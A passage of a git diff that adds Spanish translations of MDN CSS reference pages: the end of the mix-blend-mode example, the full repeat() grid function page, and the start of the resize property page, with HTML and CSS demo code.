+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; overlay
+        &lt;div class="container overlay"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color-dodge
+        &lt;div class="container color-dodge"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color-burn
+        &lt;div class="container color-burn"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; hard-light
+        &lt;div class="container hard-light"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; soft-light
+        &lt;div class="container soft-light"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; difference
+        &lt;div class="container difference"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; exclusion
+        &lt;div class="container exclusion"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; hue
+        &lt;div class="container hue"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; saturation
+        &lt;div class="container saturation"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color
+        &lt;div class="container color"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; luminosity
+        &lt;div class="container luminosity"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;Mezclado global (mezclar con el fondo)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; normal
+        &lt;div class="container normal"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; multiply
+        &lt;div class="container multiply"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; darken
+        &lt;div class="container darken"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; screen
+        &lt;div class="container screen"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; lighten
+        &lt;div class="container lighten"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; overlay
+        &lt;div class="container overlay"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color-dodge
+        &lt;div class="container color-dodge"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color-burn
+        &lt;div class="container color-burn"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; hard-light
+        &lt;div class="container hard-light"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; soft-light
+        &lt;div class="container soft-light"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; difference
+        &lt;div class="container difference"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; exclusion
+        &lt;div class="container exclusion"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; hue
+        &lt;div class="container hue"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; saturation
+        &lt;div class="container saturation"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color
+        &lt;div class="container color"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; luminosity
+        &lt;div class="container luminosity"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html,body {
+  height: 100%;
+  box-sizing: border-box;
+  background: #EEE;
+}
+
+.grid {
+  width: 100%;
+  display: flex;
+  font: 1em monospace;
+}
+
+.row {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: row;
+  flex-wrap: wrap;
+  height: auto;
+}
+
+.col {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: column;
+  height: auto;
+}
+
+.cell {
+  margin: .5em;
+  padding: .5em;
+  background-color: #FFF;
+  overflow: hidden;
+  text-align: center;
+}
+
+.note {
+  background: #fff3d4;
+  padding: 1em;
+  margin: .5em .5em 0;
+  font: .8em sans-serif;
+  text-align: left;
+  white-space: nowrap;
+}
+
+.note + .row .cell {
+  margin-top: 0;
+}
+
+.container {
+  position: relative;
+  background: linear-gradient(to right, #000 0%, transparent 50%, #FFF 100%),
+              linear-gradient(to bottom, #FF0 0%, #F0F 50%, #0FF 100%);
+  width: 150px;
+  height: 150px;
+  margin: 0 auto;
+}
+
+.R {
+  transform-origin: center;
+  transform: rotate(-30deg);
+  fill: url(#red);
+}
+
+.G {
+  transform-origin: center;
+  transform: rotate(90deg);
+  fill: url(#green);
+}
+
+.B {
+  transform-origin: center;
+  transform: rotate(210deg);
+  fill: url(#blue);
+}
+
+.isolate .group { isolation: isolate; }
+
+.normal .item      { mix-blend-mode: normal; }
+.multiply .item    { mix-blend-mode: multiply; }
+.screen .item      { mix-blend-mode: screen; }
+.overlay .item     { mix-blend-mode: overlay; }
+.darken .item      { mix-blend-mode: darken; }
+.lighten .item     { mix-blend-mode: lighten; }
+.color-dodge .item { mix-blend-mode: color-dodge; }
+.color-burn .item  { mix-blend-mode: color-burn; }
+.hard-light .item  { mix-blend-mode: hard-light; }
+.soft-light .item  { mix-blend-mode: soft-light; }
+.difference .item  { mix-blend-mode: difference; }
+.exclusion .item   { mix-blend-mode: exclusion; }
+.hue .item         { mix-blend-mode: hue; }
+.saturation .item  { mix-blend-mode: saturation; }
+.color .item       { mix-blend-mode: color; }
+.luminosity .item  { mix-blend-mode: luminosity; }</pre>
+</div>
+
+<div>{{EmbedLiveSample("mix-blend-mode", "100%", 1600, "", "", "example-outcome-frame")}}</div>
+
+<h3 id="Ejemplo_vivo">Ejemplo vivo</h3>
+
+<pre class="brush: html">&lt;svg&gt;
+  &lt;g class="isolate"&gt;
+    &lt;circle cx="40" cy="40" r="40" fill="red"/&gt;
+    &lt;circle cx="80" cy="40" r="40" fill="lightgreen"/&gt;
+    &lt;circle cx="60" cy="80" r="40" fill="blue"/&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;</pre>
+
+<pre class="brush:css">circle { mix-blend-mode: screen; }
+.isolate { isolation: isolate; } /* sin aislación, el color de fondo será tenido en cuenta */
+</pre>
+
+<p>{{EmbedLiveSample("Ejemplo_vivo", "100%", "180")}}</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Compositing', '#mix-blend-mode', 'mix-blend-mode') }}</td>
+   <td>{{ Spec2('Compositing') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.mix-blend-mode")}}</p>
+
+<h2 id="See_also" name="See_also">Véase también</h2>
+
+<ul>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("background-blend-mode")}}</li>
+</ul>
diff --git a/files/es/web/css/repeat()/index.html b/files/es/web/css/repeat()/index.html
new file mode 100644
index 0000000000..04b53caa45
--- /dev/null
+++ b/files/es/web/css/repeat()/index.html
@@ -0,0 +1,147 @@
+---
+title: repeat()
+slug: Web/CSS/repeat()
+tags:
+  - CSS
+  - CSS Grid
+  - Función CSS
+  - Layout
+  - Maquetado
+  - Referencia
+  - Web
+translation_of: Web/CSS/repeat()
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary">La función <a href="/en-US/docs/Web/CSS">CSS</a> </span><span class="seoSummary"><span class="seoSummary"><code><strong>repeat()</strong></code></span> representa un fragmento repetido de la lista de la pista, permitiendo un gran número de columnas o renglones que exhiben un patrón recurrente para ser escrito de una forma más compacta.</span></p>
+
+<p>Esta función puede ser usada en las propiedades CSS Grid {{cssxref("grid-template-columns")}} y {{cssxref("grid-template-rows")}}.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* &lt;track-repeat&gt; values */
+repeat(4, 1fr)
+repeat(4, [col-start] 250px [col-end])
+repeat(4, [col-start] 60% [col-end])
+repeat(4, [col-start] 1fr [col-end])
+repeat(4, [col-start] min-content [col-end])
+repeat(4, [col-start] max-content [col-end])
+repeat(4, [col-start] auto [col-end])
+repeat(4, [col-start] minmax(100px, 1fr) [col-end])
+repeat(4, [col-start] fit-content(200px) [col-end])
+repeat(4, 10px [col-start] 30% [col-middle] auto [col-end])
+repeat(4, [col-start] min-content [col-middle] max-content [col-end])
+
+/* &lt;auto-repeat&gt; values */
+repeat(auto-fill, 250px)
+repeat(auto-fit, 250px)
+repeat(auto-fill, [col-start] 250px [col-end])
+repeat(auto-fit, [col-start] 250px [col-end])
+repeat(auto-fill, [col-start] minmax(100px, 1fr) [col-end])
+repeat(auto-fill, 10px [col-start] 30% [col-middle] 400px [col-end])
+
+/* &lt;fixed-repeat&gt; values */
+repeat(4, 250px)
+repeat(4, [col-start] 250px [col-end])
+repeat(4, [col-start] 60% [col-end])
+repeat(4, [col-start] minmax(100px, 1fr) [col-end])
+repeat(4, [col-start] fit-content(200px) [col-end])
+repeat(4, 10px [col-start] 30% [col-middle] 400px [col-end])
+</pre>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Una longitud no negativa.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Un porcentaje no negativo relativo con el tamaño en línea del contenedor de la cuadrícula en las pistas de la cuadrícula de columna, y el tamaño del bloque del contenedor de la cuadrícula en las pistas de la cuadrúcula de la fila. Si el tamaño de la rejilla depende del tamaño de sus pistas, entonces el <code>&lt;percentage&gt;</code> debe ser tratado como <code>auto</code>. El agente de usuario puede ajustar las contribuciones de tamaño intrínseco de la pista al tamaño del contenedor de la rejilla y aumentar el tamaño final de la pista en la cantidad que resultaría en respetar el porcentaje.</dd>
+ <dt>{{cssxref("&lt;flex&gt;")}}</dt>
+ <dd>Una dimensión no negativa con la unidad <code>fr</code> especificando el factor flexible de la pista. Cada pista de tamaño <code>&lt;flex&gt;</code> comparte el espacio restante en proporción a su factor flex</dd>
+ <dt><code>max-content </code></dt>
+ <dd>Representa la contribución mas grande de max-content de los elementos de la cuadrícula ocupando la pista.</dd>
+ <dt><code>min-content</code></dt>
+ <dd>Representa la contribución más pequeña min-content de los elementos de la cuadrícula ocupando la pista.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Como un máximo, idéntico a <code>max-content</code>. Como un mínimo representa el mayor tamaño mínimo (como se específica en {{cssxref("min-width")}}/{{cssxref("min-height")}}) de los elementos de la cuadrícula ocupando la pista.</dd>
+ <dt><code>auto-fill</code></dt>
+ <dd>Si el contenedor de cuadrícula tiene un tamaño definido o máximo en el eje relevante, entonces el número de repeticiones es el mayor entero positivo posible que no hace que la cuadrícula desborde su contenedor de cuadrícula. Tratando cada pista con su función de dimensiones máximo de pista (cada valor se utiliza individualmente para definir <code>grid-template-rows</code> o <code>grid-template-columns</code>), si está definido. De lo contrario, como su función de tamaño mínimo de pista, y teniendo en cuenta la brecha de cuadrícula. Si se desbordara cualquier número de repeticiones, entonces la repetición es <code>1</code>. De lo contrario, si el contenedor de la cuadrícula tiene un tamaño mínimo definido en el eje relevante, el número de repeticiones es el número entero positivo más pequeño posible que cumple ese requisito mínimo. De lo contrario, la lista de pistas especificada se repite solo una vez.</dd>
+ <dt><code>auto-fit</code></dt>
+ <dd>
+ <p>Se comporta igual que el autocompletado <code>auto-fill</code>, excepto que después de colocar los elementos de la cuadrícula se colapsan las pistas vacías repetidas. Una pista vacía es aquella sin elementos de cuadrícula colocados o que se extienden a través de ella. (Esto puede provocar el colapso de todas las pistas, si están todas vacías).</p>
+
+ <p dir="ltr">Una pista colapsada se trata como si tuviera una única función de tamaño de pista fija de <code>0px</code>, y los canales (gutters) a cada lado de ella colapsan.</p>
+
+ <p dir="ltr">Con el fin de encontrar el número de pistas repetidas automáticamente, el agente de usuario distribuye el tamaño de la pista a un valor especificado por el agente de usuario (por ejemplo, <code>1px)</code>, para evitar la división por cero.</p>
+ </dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[3] notranslate">#container {
+  display: grid;
+  grid-template-columns: repeat(2, 50px 1fr) 100px;
+  grid-gap: 5px;
+  box-sizing: border-box;
+  height: 200px;
+  width: 100%;
+  background-color: #8cffa0;
+  padding: 10px;
+}
+
+#container &gt; div {
+  background-color: #8ca0ff;
+  padding: 5px;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="container"&gt;
+  &lt;div&gt;
+    Este elemento tiene un ancho de 50 pixels.
+  &lt;/div&gt;
+  &lt;div&gt;
+    Elemento con un ancho flexible.
+  &lt;/div&gt;
+  &lt;div&gt;
+    Este elemento tiene un ancho de 50 pixels.
+  &lt;/div&gt;
+  &lt;div&gt;
+    Elemento con un ancho flexible.
+  &lt;/div&gt;
+  &lt;div&gt;
+    Este elemento tiene un ancho de 100 pixels.
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Resultados">Resultados</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 200)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Grid", "#funcdef-repeat", "repeat()")}}</td>
+   <td>{{Spec2("CSS Grid")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+
+
+<p>{{Compat("css.properties.grid-template-columns.repeat")}}</p>
diff --git a/files/es/web/css/resize/index.html b/files/es/web/css/resize/index.html
new file mode 100644
index 0000000000..7f40b09236
--- /dev/null
+++ b/files/es/web/css/resize/index.html
@@ -0,0 +1,194 @@
+---
+title: resize
+slug: Web/CSS/resize
+translation_of: Web/CSS/resize
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad resize de CSS permite controlar la capacidad de cambio de tamaño de un elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css">/* Keyword values */
+resize: none;
+resize: both;
+resize: horizontal;
+resize: vertical;
+
+/* Global values */
+resize: inherit;
+resize: initial;
+resize: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>El elemento no efrece método para que el usuario controle el cambio de tamaño del elemento.</dd>
+ <dt><code>both</code></dt>
+ <dd>El elemento efrece un mecanismo que permite al usuario cambiar el tamaño del elemento el cual puede ser tanto horizontal como verticalmente.</dd>
+ <dt><code>horizontal</code></dt>
